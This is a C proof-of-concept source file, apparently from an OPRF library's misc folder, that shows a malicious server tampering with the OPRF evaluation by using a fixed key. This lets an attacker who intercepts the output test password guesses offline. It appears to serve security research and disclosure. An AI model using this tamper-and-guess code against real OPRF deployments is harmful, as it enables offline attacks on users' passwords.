/ misc / attack.c
attack.c
  1  // # SPDX-FileCopyrightText: 2024, Marsiske Stefan
  2  // # SPDX-License-Identifier: GPL-3.0-or-later
  3  
  4  // build with
  5  // $ gcc -Wall -O3 attack.c -o attack -loprf -lsodium
  6  // then run:
  7  // $ ./attack test
  8  
  9  #include <string.h>  // memcmp
 10  #include <stdio.h>   // f?printf
 11  #include <stdint.h>  // uint8_t
 12  #include <stdarg.h>  // va_list, va_start, va_end
 13  #include <oprf/oprf.h>
 14  #include <sodium.h>
 15  
 16  static const uint8_t k[crypto_core_ristretto255_SCALARBYTES]  = {1};
 17  
 18  void dump(const uint8_t *p, const size_t len, const char* msg, ...) {
 19    va_list args;
 20    va_start(args, msg);
 21    vfprintf(stderr,msg, args);
 22    va_end(args);
 23    fprintf(stderr,"\t");
 24    for(size_t i=0;i<len;i++)
 25      fprintf(stderr,"%02x", p[i]);
 26    fprintf(stderr,"\n");
 27  }
 28  
 29  static int usage(const char *exec, const int ret) {
 30    printf("usage: cat alpha | %s tamper >beta\n", exec);
 31    printf("usage: cat rwd | %s guess password\n", exec);
 32    return ret;
 33  }
 34  
 35  static int tamper(const uint8_t alpha[crypto_core_ristretto255_BYTES],
 36                    uint8_t beta[crypto_core_ristretto255_BYTES]) {
 37    puts("tampering");
 38    dump(k, sizeof k, "k");
 39    if(0!=crypto_scalarmult_ristretto255(beta, k, alpha)) {
 40      fputs("failed to tamper with k\nabort.\n", stderr);
 41      return 1;
 42    }
 43    return 0;
 44  }
 45  
 46  static int guess(uint8_t rwd[OPRF_BYTES], const uint8_t *pwd, const size_t pwd_len) {
 47    //fputs("[1] hashing to group...", stdout);
 48    uint8_t h0pwd[crypto_core_ristretto255_BYTES]={0};
 49    if(0!=voprf_hash_to_group(pwd, pwd_len, h0pwd)) {
 50      fputs("failed to hash to group\nabort\n", stderr);
 51      return 1;
 52    }
 53  
 54    // tamper(h0pwd, h0pwd)
 55  
 56    uint8_t rwd_[OPRF_BYTES];
 57    if(0!=oprf_Finalize(pwd, pwd_len, h0pwd, rwd_)) {
 58      fputs("failed to finalize OPRF\nabort\n", stderr);
 59      return 1;
 60    }
 61  
 62    if(memcmp(rwd,rwd_, OPRF_BYTES)!=0) return -1;
 63  
 64    return 0;
 65  }
 66  
 67  static int test(void) {
 68    // regular OPRF flow on the client
 69    const uint8_t password[] = "Exploitability of this is low, OPRFs are still cool";
 70    uint8_t alpha[crypto_core_ristretto255_BYTES]={0};
 71    uint8_t r[crypto_core_ristretto255_SCALARBYTES]={0};
 72    if(0!=oprf_Blind(password, sizeof password, r, alpha)) {
 73      fputs("failed to blind password\nabort\n", stderr);
 74      return 1;
 75    }
 76    //dump(r, sizeof r, "r");
 77  
 78    // we tamper with beta
 79    uint8_t beta[crypto_core_ristretto255_BYTES]={0};
 80    dump(alpha, sizeof alpha, "alpha");
 81    tamper(alpha, beta);
 82    dump(beta, sizeof beta, "beta");
 83  
 84    // regular OPRF flow on the client
 85    uint8_t N[crypto_core_ristretto255_BYTES]={0};
 86    int x = oprf_Unblind(r, beta, N);
 87    if(0!=x) {
 88      fputs("failed to unblind beta\nabort\n", stderr);
 89      return 1;
 90    }
 91    uint8_t rwd[OPRF_BYTES];
 92    if(0!=oprf_Finalize(password, sizeof password, N, rwd)) {
 93      fputs("failed to finalize OPRF\nabort\n", stderr);
 94      return 1;
 95    }
 96  
 97    // we "intercept" the oprf output and guess candidate inputs
 98  
 99    fprintf(stderr, "guess(\"%s\") = %d\n", password, guess(rwd, password, sizeof password-1));
100    fprintf(stderr, "guess(\"%s\") = %d\n", password, guess(rwd, password, sizeof password));
101  
102    return 0;
103  }
104  
105  int main(const int argc, const char** argv) {
106    if(argc<2) {
107      return usage(argv[0], 0);
108    }
109    if(memcmp(argv[1],"tamper",7)==0) {
110      uint8_t alpha[crypto_core_ristretto255_BYTES];
111      if(fread(alpha, 1, 32, stdin) != 32) {
112        fputs("failed to read point\nabort.\n", stderr);
113        return 1;
114      }
115  
116      uint8_t beta[crypto_core_ristretto255_BYTES];
117      if(0!=tamper(alpha, beta)) {
118        return 1;
119      };
120      fwrite(beta, 1, sizeof beta, stdout);
121      return 0;
122    }
123    if(memcmp(argv[1],"guess",6)==0) {
124      if(argc<3) {
125        return usage(argv[0], 1);
126      }
127      uint8_t rwd[OPRF_BYTES];
128      if(fread(rwd, 1, OPRF_BYTES, stdin) != OPRF_BYTES) {
129        fputs("failed to read rwd\nabort.\n", stderr);
130        return 1;
131      }
132      return guess(rwd, (uint8_t*) argv[2], strlen(argv[2]));
133    }
134    if(memcmp(argv[1],"test",5)==0) {
135      return test();
136    }
137  
138    return usage(argv[0], 1);
139  }